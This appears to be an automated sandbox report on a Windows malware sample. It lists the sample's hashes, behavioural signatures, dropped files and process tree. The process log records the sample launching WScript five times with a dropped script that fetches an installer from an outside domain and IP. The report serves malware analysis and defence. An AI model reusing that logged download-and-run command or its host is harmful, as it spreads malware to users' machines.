Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
30/05/2024, 03:13
Static task
static1
Behavioral task
behavioral1
Sample
82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
-
Target
82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
-
Size
184KB
-
MD5
82dd23568d5b57814fe72cb668ceab2e
-
SHA1
6e489495edcd4301d5fe62392c7cf28f995ddc99
-
SHA256
0fda5b063f5dc9e57fb21810d24ede4874b6159c46dd00cc144faa3e53830f3d
-
SHA512
8444783daa2ea0fa060ae92470958d8f5f7c7bab0398a6df0e3617400915f10345ed00487f359008a6d2feb5008d2a5f35a6cd469f6f77a3620fbd110341b36c
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnB
Malware Config
Signatures
-
Blocklisted process makes network request 11 IoCs
flow pid Process 6 2300 WScript.exe 8 2300 WScript.exe 10 2300 WScript.exe 12 2440 WScript.exe 13 2440 WScript.exe 16 1660 WScript.exe 17 1660 WScript.exe 19 1696 WScript.exe 20 1696 WScript.exe 22 3052 WScript.exe 23 3052 WScript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1368 wrote to memory of 2300 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 28 PID 1368 wrote to memory of 2300 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 28 PID 1368 wrote to memory of 2300 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 28 PID 1368 wrote to memory of 2300 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 28 PID 1368 wrote to memory of 2440 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 30 PID 1368 wrote to memory of 2440 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 30 PID 1368 wrote to memory of 2440 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 30 PID 1368 wrote to memory of 2440 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 30 PID 1368 wrote to memory of 1660 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 32 PID 1368 wrote to memory of 1660 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 32 PID 1368 wrote to memory of 1660 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 32 PID 1368 wrote to memory of 1660 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 32 PID 1368 wrote to memory of 1696 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 36 PID 1368 wrote to memory of 1696 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 36 PID 1368 wrote to memory of 1696 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 36 PID 1368 wrote to memory of 1696 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 36 PID 1368 wrote to memory of 3052 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 38 PID 1368 wrote to memory of 3052 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 38 PID 1368 wrote to memory of 3052 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 38 PID 1368 wrote to memory of 3052 1368 82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe2⤵
- Blocklisted process makes network request
PID:2300
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe2⤵
- Blocklisted process makes network request
PID:2440
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe2⤵
- Blocklisted process makes network request
PID:1660
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe2⤵
- Blocklisted process makes network request
PID:1696
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe2⤵
- Blocklisted process makes network request
PID:3052
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize1KB
MD56b5dad23fd7edd2c9daf944abc5d5341
SHA163a720a1bd0d9e2ecf288f11529f00256970577d
SHA256e398b27255350eb1740b6851d4ca1faabc2b8c5ddd8caa791a47fc15af730060
SHA512870f71e1f8724c984d51600080c43562303263c5ae4b9bf648fcf28909a88141a00db0e88b5ec52fc938c81ba78cb31a92a60792ff74b2369fdf10932d7e540c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize724B
MD58202a1cd02e7d69597995cabbe881a12
SHA18858d9d934b7aa9330ee73de6c476acf19929ff6
SHA25658f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA51297ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize410B
MD5e31ce4ba74f3e2fba574a5134b384738
SHA15634143f5491235c1f653ab43b7d79bb319f40ac
SHA25675e1fe1e413184a2c939fb92a4613339a3458a73d074b64e6a7294930759d03a
SHA51242c8f3613fdec05f64e57c293fffc7790f521b7443466091f2e5d7440261753ec383ce3cf5ada00e480538d1aa5e175b05a1abb4f8f5967d74f8cef4a6f90690
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5f33667c72b78b4f56ef83dac410c6abc
SHA10198f1f107e388487783bdb2a8cfe7e643030b6c
SHA256064f3ed69416a472320d27a15e3a1f8d0db5067e277b36f66e1b91aab443fe61
SHA5128e676e34560f1ac6e08bbb979a56e9c46637decc9ff820e89aeb0c6ba87600405cf4f2d48fd1819a450cc8e73770f15447e966fd7debced0fe08fc5839ee4dba
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize392B
MD5c045ca01c86fc3ec72aafa68742579f2
SHA10718662fb11602eef32aa802a55bd6cf7b9b7877
SHA25678313cb26364521983dd4d8bd299282e498b94a7e9495a020c3bdc6574f09440
SHA5127b8b73e2474934f2a28a51f8c95cb539ce3552feb174c5e048e834413bba384441020fdc705ade5072bdcc5f89f0968318695a70c8557470d8073eac7c44868b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm
Filesize6KB
MD55c071d2ed68b117f8811407d4c2dac1c
SHA1c468952522196c3c7a2810e704702bc70e988791
SHA256fbad47e3d7f173f555d1954043150605f129c570dd3db258e628ae8cae56a27b
SHA512a65febd04e0c564106eed75a137a4cf67eb41ebe375adaf17d8eb08db0ecd93d3c19ba9dd48dfd0cc72ad9f89838497d3a8fe1ea29c90f9d33051eb9fcf540e1
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm
Filesize6KB
MD52607102b23c36b7de95de919756b1393
SHA13a91812a2a15f974a3e55e052bd18e65f2a42dcf
SHA256299c9596f79730e50299c09e132ab72a12eee2effbcb63ca6462a6f3f1002808
SHA51205597bb31c247d8fe37795ec9f327c9c3b0449f5ccfd5bbc33f7ac25f66abfb3be91954c7ac78df93bbe9b3b7d566b39494f37a3c0f9c0d33ce42596d5c51052
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm
Filesize40KB
MD5b4e07ba304fd23f8cf6b5fc8a49b834f
SHA150ae69dbf7d19dd494d69ca2b7ed3e09f856c12f
SHA256447a68e663519452ea066358c97b8f8c7d376917848e86cbca411dbb1288e1f0
SHA512bc0879a306aa7d21306ddd03ddb3f1e27d894fb3b98236ecb8119af09431a9a0563fff97d7eb2a4e3566f59f4102bcf2739de9c230e8b0e16e949d3337a5b4f1
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm
Filesize40KB
MD57ca6acdb2e6c01076be5498400b30d21
SHA10ff2fb763c2e946cca0f94c4cdc56854d522a800
SHA256a9d72605c87bd9c6e199ba2dd4c863144163d2d83e912466130a162097d57fce
SHA512948c43e52bc8b70f92f0f1abd915a3a48c8d48eae08c305239559576d5c483c5e0e7562a0b9678a0dba1f2b1ee575182dd85767ea326a747433fc481b64f3dc6
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
Filesize
175B
MD57f40d6481edd93a2480366510b1c7c83
SHA1dd63c8f32878286ecd49ec7816d188353a5642f6
SHA256cd92f34584e11c8f650e56c20034727d4a94a78e69f8d09f8cdf5098ca6f1aa1
SHA5123734364c57938f877e43ac72df933762d2988fef64a391debfec91b77bb0570cd6e3552a138af665f1146827acf9e472afb7d0c5d0f8d1dd9c99039a59bd1904